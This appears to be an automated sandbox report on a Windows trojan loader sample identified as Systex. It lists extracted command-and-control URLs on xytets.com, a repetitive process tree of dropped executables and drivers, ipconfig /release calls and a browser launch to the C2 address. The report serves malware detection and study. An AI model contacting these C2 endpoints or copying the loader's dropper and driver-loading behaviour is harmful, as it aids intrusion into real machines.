Analysis
- max time kernel
149s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
- submitted
09/05/2026, 00:55
General
- Target 2026-05-09_5de2849f12f50360d5f440feeb128b0e_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
- Size 376KB
- Sample260509-a9w84act6m
- SHA256 c6b190d9d8ec525c5e44f1140870043e25282a9c3d8ea45453940d64e2366ebf
Score
10/10
Malware Config
Extracted
Family
-
systex
C2
-
http://xytets.com:2345/t.asp?os=wangba
-
http://xytets.com:2345/t.asp?os=home
-
http://xytets.com:2345/t.asp?ver=xxx&mac=0-0-0-0&os=vm
Signatures
- Family: Systex
Systex is a trojan loader written in C++.
- Executes dropped EXE 64 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 43 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Gathers network information 2 TTPs 20 IoCs
Uses commandline utility to view network configuration.
- Modifies Internet Explorer settings 1 TTPs 35 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 20 IoCs
- Suspicious use of AdjustPrivilegeToken 19 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of SetWindowsHookEx 6 IoCs
- Suspicious use of WriteProcessMemory 62 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-05-09_5de2849f12f50360d5f440feeb128b0e_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe"C:\Users\Admin\AppData\Local\Temp\2026-05-09_5de2849f12f50360d5f440feeb128b0e_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Temp\fdxvpnhfaxsqkica.exeC:\Temp\fdxvpnhfaxsqkica.exe run2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\kicavsnkfd.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Temp\kicavsnkfd.exeC:\Temp\kicavsnkfd.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_kicavsnkfd.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_kicavsnkfd.exeC:\Temp\i_kicavsnkfd.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\upmhfzxrpk.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\upmhfzxrpk.exeC:\Temp\upmhfzxrpk.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_upmhfzxrpk.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_upmhfzxrpk.exeC:\Temp\i_upmhfzxrpk.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\ezxrpjhczu.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\ezxrpjhczu.exeC:\Temp\ezxrpjhczu.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_ezxrpjhczu.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_ezxrpjhczu.exeC:\Temp\i_ezxrpjhczu.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\zmjecwuomg.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\zmjecwuomg.exeC:\Temp\zmjecwuomg.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_zmjecwuomg.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_zmjecwuomg.exeC:\Temp\i_zmjecwuomg.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\mgbztrljdz.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\mgbztrljdz.exeC:\Temp\mgbztrljdz.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_mgbztrljdz.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_mgbztrljdz.exeC:\Temp\i_mgbztrljdz.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\vtolgeywqo.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\vtolgeywqo.exeC:\Temp\vtolgeywqo.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_vtolgeywqo.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_vtolgeywqo.exeC:\Temp\i_vtolgeywqo.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\lgdyvqoiga.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\lgdyvqoiga.exeC:\Temp\lgdyvqoiga.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_lgdyvqoiga.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_lgdyvqoiga.exeC:\Temp\i_lgdyvqoiga.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\vqnifaysqk.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\vqnifaysqk.exeC:\Temp\vqnifaysqk.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_vqnifaysqk.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_vqnifaysqk.exeC:\Temp\i_vqnifaysqk.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\xvpnifaysq.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\xvpnifaysq.exeC:\Temp\xvpnifaysq.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_xvpnifaysq.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_xvpnifaysq.exeC:\Temp\i_xvpnifaysq.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\snkfcxvpnh.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\snkfcxvpnh.exeC:\Temp\snkfcxvpnh.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_snkfcxvpnh.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_snkfcxvpnh.exeC:\Temp\i_snkfcxvpnh.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\mhfzxrpjhc.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\mhfzxrpjhc.exeC:\Temp\mhfzxrpjhc.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_mhfzxrpjhc.exe ups_ins3⤵
-
C:\Temp\i_mhfzxrpjhc.exeC:\Temp\i_mhfzxrpjhc.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\ezwrpjhbzu.exe ups_run3⤵
-
C:\Temp\ezwrpjhbzu.exeC:\Temp\ezwrpjhbzu.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_ezwrpjhbzu.exe ups_ins3⤵
-
C:\Temp\i_ezwrpjhbzu.exeC:\Temp\i_ezwrpjhbzu.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\ezwrojhbzt.exe ups_run3⤵
-
C:\Temp\ezwrojhbzt.exeC:\Temp\ezwrojhbzt.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_ezwrojhbzt.exe ups_ins3⤵
-
C:\Temp\i_ezwrojhbzt.exeC:\Temp\i_ezwrojhbzt.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\ywqojgbztr.exe ups_run3⤵
-
C:\Temp\ywqojgbztr.exeC:\Temp\ywqojgbztr.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_ywqojgbztr.exe ups_ins3⤵
-
C:\Temp\i_ywqojgbztr.exeC:\Temp\i_ywqojgbztr.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\olgdywqojd.exe ups_run3⤵
-
C:\Temp\olgdywqojd.exeC:\Temp\olgdywqojd.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_olgdywqojd.exe ups_ins3⤵
-
C:\Temp\i_olgdywqojd.exeC:\Temp\i_olgdywqojd.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\qlavtnlfdx.exe ups_run3⤵
-
C:\Temp\qlavtnlfdx.exeC:\Temp\qlavtnlfdx.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_qlavtnlfdx.exe ups_ins3⤵
-
C:\Temp\i_qlavtnlfdx.exeC:\Temp\i_qlavtnlfdx.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\nifaysqkid.exe ups_run3⤵
-
C:\Temp\nifaysqkid.exeC:\Temp\nifaysqkid.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_nifaysqkid.exe ups_ins3⤵
-
C:\Temp\i_nifaysqkid.exeC:\Temp\i_nifaysqkid.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\causnkfcxs.exe ups_run3⤵
-
C:\Temp\causnkfcxs.exeC:\Temp\causnkfcxs.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_causnkfcxs.exe ups_ins3⤵
-
C:\Temp\i_causnkfcxs.exeC:\Temp\i_causnkfcxs.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\zusmkecxup.exe ups_run3⤵
-
C:\Temp\zusmkecxup.exeC:\Temp\zusmkecxup.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_zusmkecxup.exe ups_ins3⤵
-
C:\Temp\i_zusmkecxup.exeC:\Temp\i_zusmkecxup.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\cxupmhfrpj.exe ups_run3⤵
-
C:\Temp\cxupmhfrpj.exeC:\Temp\cxupmhfrpj.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home2⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1484 CREDAT:17410 /prefetch:23⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Temp\fdxvpnhfaxsqkica.sysC:\Temp\fdxvpnhfaxsqkica.sys1⤵
- Executes dropped EXE
-
C:\Temp\fzxspkhcau.sysC:\Temp\fzxspkhcau.sys1⤵
- Executes dropped EXE
-
C:\Temp\usmkwupmhe.sysC:\Temp\usmkwupmhe.sys1⤵
- Executes dropped EXE
-
C:\Temp\hezxrpjhcz.sysC:\Temp\hezxrpjhcz.sys1⤵
- Executes dropped EXE
-
C:\Temp\trljebwuom.sysC:\Temp\trljebwuom.sys1⤵
- Executes dropped EXE
-
C:\Temp\gbztrljdbw.sysC:\Temp\gbztrljdbw.sys1⤵
- Executes dropped EXE
-
C:\Temp\sqlidbvtnl.sysC:\Temp\sqlidbvtnl.sys1⤵
- Executes dropped EXE
-
C:\Temp\kidavtnlfd.sysC:\Temp\kidavtnlfd.sys1⤵
- Executes dropped EXE
-
C:\Temp\idavsnlfdx.sysC:\Temp\idavsnlfdx.sys1⤵
- Executes dropped EXE
-
C:\Temp\zxspkicaus.sysC:\Temp\zxspkicaus.sys1⤵
- Executes dropped EXE
-
C:\Temp\camkecxupn.sysC:\Temp\camkecxupn.sys1⤵
- Executes dropped EXE
-
C:\Temp\usmkecwupm.sysC:\Temp\usmkecwupm.sys1⤵
-
C:\Temp\ljebwuomge.sysC:\Temp\ljebwuomge.sys1⤵
-
C:\Temp\jebwtomgey.sysC:\Temp\jebwtomgey.sys1⤵
-
C:\Temp\dbvtgdyvqo.sysC:\Temp\dbvtgdyvqo.sys1⤵
-
C:\Temp\yvqoigaytq.sysC:\Temp\yvqoigaytq.sys1⤵
-
C:\Temp\vtnlfdxvqn.sysC:\Temp\vtnlfdxvqn.sys1⤵
-
C:\Temp\nhfaxsqkic.sysC:\Temp\nhfaxsqkic.sys1⤵
-
C:\Temp\pnhfzxspca.sysC:\Temp\pnhfzxspca.sys1⤵
-
C:\Temp\kecwupmhez.sysC:\Temp\kecwupmhez.sys1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
CreateProcess.exe
ezxrpjhczu.exe
fdxvpnhfaxsqkica.exe
fdxvpnhfaxsqkica.sys
fzxspkhcau.sys
gbztrljdbw.sys
hezxrpjhcz.sys
i_ezxrpjhczu.exe
i_kicavsnkfd.exe
i_lgdyvqoiga.exe
i_mgbztrljdz.exe
i_upmhfzxrpk.exe
i_vtolgeywqo.exe
i_zmjecwuomg.exe
kicavsnkfd.exe
kidavtnlfd.sys
lgdyvqoiga.exe
mgbztrljdz.exe
sqlidbvtnl.sys
trljebwuom.sys
upmhfzxrpk.exe
usmkwupmhe.sys
vqnifaysqk.exe
vtolgeywqo.exe
zmjecwuomg.exe
E2C6CBAF0AF08CF203BA74BF0D0AB6D5_430EA0912164D1B129D6E1DC07C63959
E2C6CBAF0AF08CF203BA74BF0D0AB6D5_430EA0912164D1B129D6E1DC07C63959
suggestions[1].en-US
memory/1440-100-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1792-151-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1840-143-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1908-14-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2064-121-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2520-21-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2764-76-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2796-139-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2872-125-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3160-159-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3172-33-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4024-117-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4708-106-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4896-155-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5136-113-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5224-88-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5332-147-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5788-45-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5792-62-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5956-163-0x0000000000010000-0x00000000000AB000-memory.dmp